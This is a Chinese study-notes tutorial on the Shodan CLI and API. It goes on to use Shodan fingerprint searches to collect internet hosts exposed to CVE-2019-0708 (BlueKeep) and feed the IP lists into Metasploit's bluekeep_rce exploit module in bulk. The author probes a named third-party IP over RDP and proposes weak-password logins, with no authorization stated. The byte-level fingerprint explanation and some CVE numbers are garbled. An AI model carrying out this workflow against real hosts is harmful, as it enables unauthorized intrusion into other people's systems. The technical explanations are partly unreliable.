声明:学习视频来自b站up主 泷羽sec,如涉及侵权马上删除文章
感谢泷羽sec 团队的教学
视频地址:哔哩哔哩_bilibili
目录
一、Shodan简介
Shodan的主要用途
kali安装shoudan
二、Shodan命令
search与host参数
搜索查询基础知识
Shodan 命令行工具使用指南
Shodan 的高级用法
search与host实例
三、批量查找并验证CVE-2019-0708漏洞
漏洞指纹
搜集漏洞
漏洞验证
实验一:search 存在CVE-2019-0708的网络设备
实验二:Metasploit 批量进行漏洞利用
实验三:命令download的使用
实验四:命令parse的使用
一、Shodan简介
目的:搜索网络设备
工作原理:
服务器上部署了各种扫描器,如:漏洞扫描器、硬件扫描器(路由器、交换机、处理器)、目录扫描器。扫描器批量对IP地址进行扫描,每个地区对IP都有大致范围(亚太地区、北美、南美、非洲),扫描策略要看源代码(闭源)。
理解:shodan扫描世界上一些地址,能满足我们很多需求(漏洞扫描、设备扫描等)。
优点:
-
网络安全:Shodan是网络安全分析的工具,可以帮助网络管理员和安全专家识别潜在的重要安全漏洞并及时修复。
-
广泛覆盖:得益于其全球扫描机制,Shodan可以抓取互联网全球设备信息,为分析全球网络环境提供支持。
-
数据多样性:Shodan可以识别多种设备类型,如Web服务器、工控系统、物联网设备、摄像头等,非常适合网络资产管理。
缺点:
-
隐私问题:由于Shodan能够公开访问很多设备的信息,它也可能会导致一些未受保护的设备被黑客利用。
-
容易被恶意利用:虽然Shodan的设计最初主要是为了提升网络安全,但不当使用也可能导致设备暴露在恶意攻击下。
-
误报风险:Shodan 的扫描并不完全准确,某些情况下可能会错报设备信息或未能检测到设备开放的端口和服务。
功能:在线查询功能、离线客户端,monitor(监控)IP地址,扫描出的漏洞和bug可以保存结果,API接口调用,主要用于信息收集。
国家代码:中国:cn,日本:jp,韩国:kr,香港:hk,澳门:mo,台湾:tw,英国:en,意大利:it,俄国:ru,西班牙:es,美国:us
Shodan的主要用途
设备发现:可以搜索特定类型的设备,如网络摄像头、路由器、工业控制系统等。
漏洞发现:帮助安全研究人员和渗透测试人员发现潜在的安全漏洞。
地理定位:可以通过城市、国家或IP地址来定位设备。
端口扫描:可以搜索特定端口开放的设备,如VPN端口(1723)或远程桌面协议端口(3389)。
服务搜索:识别提供特定⽹络服务的设备,如FTP、SSH、HTTP等。
漏洞扫描:提供漏洞扫描服务,检查设备和服务是否含有已知的安全漏洞。
可视化⼯具:提供交互式地图和图表⼯具,帮助⽤户直观地了解设备和服务的分布。
历史数据:提供设备和服务的历史数据,便于追踪其变化和发展。
API⽀持:提供API接⼝,⽀持通过编程⽅式搜索和获取数据,实现⼯作流⾃动化。
监视和提醒:允许⽤户设置监控规则,在满⾜特定条件时接收通知,及时发现⽹络变化和潜在威胁。
kali安装shoudan
克隆shodan: git clone https://github/achillean/shodan-python.git 切换到shodan-python: cd shodan-python 安装: python setup.py install 初始化shodan: shodan init api_key (此处的api_ key需要自备,到shodan网页上注册) 查看使用帮助文档: shodan -h kali截屏:屏幕prtsc ,选区shift+prtsc
国家代码可在:世界各国国别简称(三位英文缩写).xls - 淘豆网中文简称国家/地区代码中文名称英文名称阿尔巴尼亚ALB阿尔巴尼亚共和国RepublicofAlbani阿尔及利亚DZA阿尔及利亚民主人民共和国DemocraticPeople'monwealthoftheIVIarianaIslands贝宁BEN贝宁共和国RepublicofBenin比利时BEL比利时王国KingdomofBelgium冰岛ISL冰岛共和国RepublicofIceland波多黎各PRI波多黎各自由联邦PuertoRico波黑BIH波斯尼亚和黑塞哥维那BosniaandHerzegovina波兰POL波兰共和国RepublicofPoland玻利维亚BOL玻...https://m.taodocs/p-214021026.html
二、Shodan命令
search与host参数
search基本操作符 - `title:`:搜索网页标题中包含特定字符串的设备。 - `html:`:搜索HTML内容中包含特定字符串的设备。 - `product:`:搜索特定产品的设备。 - `version:`:搜索特定版本的设备。 - `geo:`:搜索特定地理位置的设备。 - `country:`:搜索特定国家的设备。 - `city:`:搜索特定城市的设备。 - `org:`:搜索特定组织的设备。 - `isp:`:搜索特定ISP的设备。 - `port:`:搜索开放特定端口的设备。 - `os:`:操作系统,用户系统:可以看到该操作系统下搜寻到的ip地址和开启端口 - `device:`:搜索特定类型的设备。 - `has_vuln:`:搜索存在特定漏洞的设备。是否有漏洞,True False (has_vuln:true:查询漏洞) - 'tp-link': 通过web端的一些设备查找 - 'webcam': 摄像头 - 'router' 路由器 - 'limit' 显示数量,number。后的数字为过滤搜寻信息数,如limit 10,即为筛选10条信息数 - 'fields' 过滤信息 --fields ip_str,port 过滤ip信息 - 'ip' 以数字地址格式输出ip地址,没有.分隔 - 'ip_str' ipv4地址格式输出ip地址 - 'color' 加深显示 - 'no-color' 不加深显示 search 组合操作符 - `+`:AND操作符,用于组合多个条件。 - `-`:NOT操作符,用于排除特定条件。 - `*`:通配符,用于匹配任意字符。 - `..`:范围操作符,用于指定数值范围。 - `||`:OR操作符,用于组合多个条件。 shodan host +ip地址 //查看ip信息,例:shodan host 121.32.243.53
更多的搜索语法指令详见shodan官网
https://www.shodan.io/search/filtershttps://www.shodan.io/search/filters
搜索查询基础知识
https://help.shodan.io/the-basics/search-query-fundamentalshttps://help.shodan.io/the-basics/search-query-fundamentals
Shodan 命令行工具使用指南
1 帮助⽂档 shodan -h 2 搜索 shodan search <query> 3 返回查询结果数量 shodan search <query> 4 下载查询结果 shodan download <filename> <query> 5 解析下载的数据 shodan parse --fields ip_str,port,org --separator , <filename>.json.gz 6 查看指定主机的详细信息 shodan host <ip_address> 7 管理⽹络警报 shodan alert list 8 实时数据流 shodan stream 9 检查 IP 是否为蜜罐 shodan honeyscore <ip_address> 10 显示账户信息 shodan info 11 显示外部 IP 地址 shodan myip 12 hostname: 搜索指定的主机或域名 shodan search hostname:"google 13 port: 搜索指定的端⼝或服务 shodan search port:21 14 city: 搜索指定的城市 shodan search city:"Hefei" 15 org: 搜索指定的组织或公司 shodan search org:"Google" 16 isp: 搜索指定的ISP供应商 shodan search isp:"China Telecom" 17 product: 搜索指定的操作系统/软件/平台 shodan search product:"Apache httpd" 18 version: 搜索指定的软件版本 shodan search version:"1.6.2" 19 geo: 搜索指定的地理位置(经纬度) shodan search geo:"31.8639, 117.2808" 20 before/after: 搜索指定收录时间前后的数据 shodan search before:"11-11-15" 21 net: 搜索指定的IP地址或⼦⽹ shodan search net:"210.45.240.0/24" 22 alert -h (查看帮助文档) 23 shodan info (查看你查询的扫描的一些次数每个账户都是每个月有限次数的) 24 shodan damin (查询域名信息) 25 shodan scan -h (查看帮助文档) 26 shodan scan submit ip地址 27 shodan scan list (查看扫描信息)
Shodan 的高级用法
一、 使⽤ API Shodan 提供了强⼤的 API 接⼝,允许⽤户通过编程⽅式搜索和获取数据。以下是⼀个简单Python 示例,展示如何使⽤ Shodan API 进⾏搜索: import shodan # 你的 Shodan API Key API_KEY = 'your_api_key' # 创建 Shodan API 客户端 api = shodan.Shodan(API_KEY) # 搜索查询 query = 'Apache httpd 1.6.2' results = api.search(query) # 打印结果 for result in results['matches']: print(f"IP: {result['ip_str']}") print(f"Port: {result['port']}") print(f"Hostnames: {result.get('hostnames', [])}") print(f"Organization: {result.get('org', 'Unknown')}") print(f"Location: {result.get('location', {})}") print(f"Banner: {result['data']}\n") 二、 实时数据流 Shodan 还⽀持实时数据流,可以⽤于监控⽹络上的新设备和服务。以下是⼀个简单的 Python 示例,展示如何使⽤ Shodan API 获取实时数据流: import shodan # 你的 Shodan API Key API_KEY = 'your_api_key' # 创建 Shodan API 客户端 api = shodan.Shodan(API_KEY) # 获取实时数据流 stream = api.stream() # 监听数据流 for item in stream: print(item) 三、 监视和提醒 Shodan 允许⽤户设置监视规则,以便在发现满⾜特定条件的设备或服务时收到提醒。以下是⼀个简单的 Python 示例,展示如何使⽤ Shodan API 设置监视规则: import shodan # 你的 Shodan API Key API_KEY = 'your_api_key' # 创建 Shodan API 客户端 api = shodan.Shodan(API_KEY) # 创建监视规则 alert_name = 'My Alert' filters = {'query': 'Apache httpd 1.6.2'} alert = api.alert.create(alert_name, filters) print(f"Alert created: {alert['id']}")
search与host实例
- shodan search ==--limit== 10 country:jp
--limit:显示IP数量 country:国别地区
shodan search --limit 10 ==--fields== ip,port country:jp
--fields:过滤ip信息 ip:数字ip,shodan不会自动解析为ip地址 ip_str:ipv4格式 port:指定端口
shodan search --limit 10 --fields ==ip_str==,port country:jp
shodan search ==--color== --limit 10 --fields ip_str,port:==3389== country:cn city:shenzhen
--color:加深显示 --no-color:不加深显示 city:城市信息 port:3389端口:指定Windows远程桌面服务
shodan ==host== 121.32.243.53
host:查看ip信息
shodan search --color --limit 10 --fields ip_str,port:3389 country:kr ==os:windows==
os:指定操作系统
shodan search ==has_vuln:True== --color --limit 10 --fields ip_str,port:3389 country:cn city:shenzhen
has_vuln:True 存在漏洞
shodan search --color --limit 10 --fields ip_str,port country:kr ==device:webcam==
shodan search --color --limit 10 --fields ip_str,port country:kr ==device:router==
shodan search --color --limit 10 --fields ip_str,port country:kr ==tp-link==
device:webcam //摄像头 device:router //路由器 tp-link //web设备
三、批量查找并验证CVE-2019-0708漏洞
原理
在没有 Shodan 高级会员权限的情况下,无法使用 vuln 参数直接查找存在漏洞的主机,但通过灵活的搜索组合,我们依然可以实现对特定漏洞的设备定位。本次示例中将以 CVE-2019-0708(BlueKeep)漏洞为例,介绍如何利用 Shodan 的搜索功能筛选受影响的设备,并结合强大的 Metasploit 框架(msf)进行批量验证,帮助更高效地识别网络中的高危资产。
存在漏洞的远程桌面服务器,在接收到特殊数据包时会释放一个内部信道 MST120 的 控制结构体,但并未将指向该结构体的指针删除。
内部信道:
-
定义:内部信道通常指的是在一个设备、系统或网络内部用于信息传 输的通道。
-
分类:
-
逻辑信道:在设备或系统内部,用于承载不同类型信息的逻辑通道。
-
物理信道:实际存在的物理连接,如导线、光纤等,用于在设备内部或不同设备间传输信息。
-
MS-T120:是Remote Desktop Protocol(RDP)中的一个内部信道名称,它用于控制RDP连接中的虚拟信道而且在远程桌面连接结束之后还会调用 MS-T120结构体内的一个函数指针 。若攻击者可通过远程发送数据重新占据被释放的MS-T120,并为结构体内的函数指针赋恰当的值,即可实现远程命令执行。
-
影响版本 Windows 7、Windows Server 2008、Windows Server 2008 R2、
Windows Server 2003、 Windows XP
漏洞指纹
\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00 >> 十六进制漏洞特征 "\x03" : 此字节表示有效负载的类型。在这种情况下,它指示有效负载是 “Client Core Data” 消息 。>> Client Core Data :可以解释为客户端的核心数据 “\x00” :此字节表示与有效负载关联的标志。在这种情况下,它表示 没有设置其他标志 。 “\x00\x0b” :这两个字节表示有效负载的长度。在这种情况下,它表示 有效负载的长度为 11 字节 。 “\x06\xd0” :这两个字节表示与负载关联的通道 ID。在这种情况下,它表示 有效负载适用于“rdpdr”通道 ,该通道用于 RDP 中的驱动器重定向 。>> rdpdr :通过RDPDR通道,用户可以在远程会话中访问和操作本地设备,实现设备资源的共享和利用。 “\x00\x00” :这两个字节表示数据包序列号。在这种情况下,它表示 数据包序列号为 0 。 “\x124\x00” :这三个字节表示负载数据。在这种情况下,它是可以触发 RDP 协议中漏洞的字节序列
搜集漏洞
# 方式一 shodan search --limit 10 --fields ip_str,port '"/x03/x00/x00/x0b/x06/xd0/x00/x00/x124/x00"'(这里对斜线方向做了 修改,是为了适应Windows命令行的搜索) # 方式二 shodan search --limit 10 --fields ip_str,port "port:3389 Remote Desktop Protocol" #方式三 shodan search --limit 10 --fields ip_str vuln:"CVE-2019-0708
漏洞验证
一、将搜集到的漏洞ip编写成文件; 二、启动kali中的Metasploit,命令是 msfconsole 三、在msf中搜索相关模块,命令是 search cve-2019-0708 四、使用必要的模块,命令是 use 序列号 或者 use 模块名 五、查询并配置必要的信息,查询命令是 options ,配置攻击IP命令是 set rhost filepath ,即将第一步编写的ip文件拖入到命令行中 六、检查验证漏洞,命令是 check
批量下载并解压
shodan download 0708 -limit 10 "\x03\x00\x00x0b\x06\xd0x00\x00\x124\x00"'
该命令表示将符合条件的搜索结果下载到名为0708的文件中,限制结果数量为10条。该命令下载后的文件格式为压缩文件,需要进行解压。
解压
shodan parse --fields ip_str 0708
该命令表示从Shodan的搜索结果中提取IP地址,0708就是之前下载好的文件,从中提取的ip地址,就是存在CVE-2019-0708漏洞的ip地址。
实验一:search 存在CVE-2019-0708的网络设备
CVE - 2019 - 0708**漏洞:**
-
该漏洞存在于远程桌面服务(以前称为终端服务)中,是一个远程执行代码漏洞。其利用方式是通过远程桌面端口3389,借助RDP协议进行攻击。这个漏洞在身份认证检查方面存在问题,攻击者可绕过认证,无需任何的交互,直接通过rdp协议进行连接并发送恶意代码执行命令到服务器中去
-
在漏洞相关函数(如
IcaRebindVirtualChannels
和IcaBindVirtualChannels
中IcaFindChannelByName
函数)的分析中发现,例如在termdd!_IcaBindChannel
的栈针对特定地址(88fd5738),存在参数差异(第3个参数第一次是0x1f,而第二次是3),这表明channel绑定了两个ID,存在两个引用,这一情况被利用于漏洞攻击中,修复时可强制指定为0x1f来防止这种问题.
在CVE - 2019 - 0709漏洞场景下,攻击者通过上述原理将恶意的有效载荷利用RDP协议发送到目标系统,从而达到在目标系统执行任意代码的目的,例如可以在目标系统完成安装应用程序,查看、更改或删除数据,创建完全访问权限的新账户等操作。
查询语句:
shodan search --limit 10 --fields ip_str,port
'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
十六进制字符串绕过(类似指纹方式查找),该字符串就是cve-2019-0708的十六进制漏洞特征
查询结果:
看到3389端口,这是cve-2019-0708漏洞存在所必须的端口。随便找一个IP进一步验证
可以看到这个IP的网络设备全是漏洞,也确实存在CV-2019-07081漏洞
有漏洞不代表能够利用,可以使用windows远程连接,看看主机是否存活:110.35.235.228mstsc命令来唤出远程桌面连接界面。这是“microsoft terminal services client”的缩写
可以看到远程链接出现,说明主机存活,这就可以进行弱口令测试Administrator&Administrator
实验二:Metasploit 批量进行漏洞利用
Metasploit 是一款功能强大的安全工具,可批量检测目标设备是否存在指定漏洞。以下是使用 Metasploit 验证 CVE-2019-0708 的详细步骤。
-
启动 Metasploit Console
在命令行中输入 msfconsole 进入 Metasploit 控制台,然后执行以下操作:
在命令行中输入msfconsole
进入 Metasploit 控制台,然后执行以下操作:
-
搜索并使用漏洞模块 查找 CVE-2019-0708 漏洞的利用模块,并选择合适的模块:
search cve-2019-0708
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
-
设置选项 查看可配置参数并进行设置:
show options
设置攻击目标IP(用于指定一个包含目标 IP 地址的文件。这个命令通常用于自动化渗透测试过程,特别是在需要对大量目标进行扫描或攻击时)将目标 IP 文件添加到 RHOSTS
参数中,例如拖入包含 IP 地址的文件:
set RHOSTS file:<目标IP文件路径>
使用 show targets
查看支持的操作系统,例如 Windows 7 和 Windows Server 2008 R2。设置 TARGET
为匹配的目标系统:
set TARGET <目标系统编号>
-
检查漏洞 在开始利用之前,使用
check
命令来验证目标是否存在漏洞,避免不必要的攻击:
check
提示:确保 payload 的 IP 地址和端口正确匹配,否则会导致漏洞利用失败。
注:如果漏洞利用不成功,说明shodan扫出来的设备已经修复了这个漏洞,而shodan数据库里有关这部分的记录信息没有更新出现[+]代表漏洞存在可利用,[*]代表不可利用或漏洞不存在。
显示攻击目标show targets
这样子批量的去获取存在漏洞的IP,批量去使用极大方便了渗透测试人员
实验三:命令download的使用
查看帮助文档 shodan download -h
--fields TEXT | 用于指定要下载的属性列表,而不是获取完整的信息(可能是类似不获取完整的标记信息,而是特定属性) |
---|---|
--limit INTEGER | 设定想要下载的结果数量, -1表示下载所有可能的数据 |
-h, --help | 显示帮助信息并退出,这是常见的命令行参数用法,用于获取关于这个工具的使用说明,包括各个参数的含义等 |
shodan download 0708 --limit 10 '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"'
shodan download 0708
shodan是工具名称。
download表示执行下载操作。
0708可能是下载内容的命名相关的标识,比如下载文件的名称前缀等。
–limit 100
这个参数用于限制下载的结果数量。这里设定为100条结果。
‘”\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00”’
在Shodan搜索中,这样的十六进制字符串与特定的设备标识或者协议特征相关,更精准地筛选要下载的内容。
可以看到实际存在14933个网站存在cve-2019-0708漏洞,这里选择了其中10个下载
实验四:命令parse的使用
查看帮助文档 shodan parse -h
--color / --no-color | 控制输出是否使用颜色。 |
---|---|
--fields TEXT | 列出要输出的属性。 |
-f, --filters TEXT | 使用键值对过滤特定值的结果。 |
-O, --filename TEXT | 将过滤后的结果保存在给定的文件中(如果文件存在则追加)。 |
--separator TEXT | 搜索结果属性之间的分隔符。 |
-h, --help | 显示此消息并退出。 |
parse命令用于解析从Shodan下载的搜索结果文件,以便进一步处理和分析
shodan parse --fields ip_str '/root/0708.json.gz'
可以看到漏洞的所有信息都在里面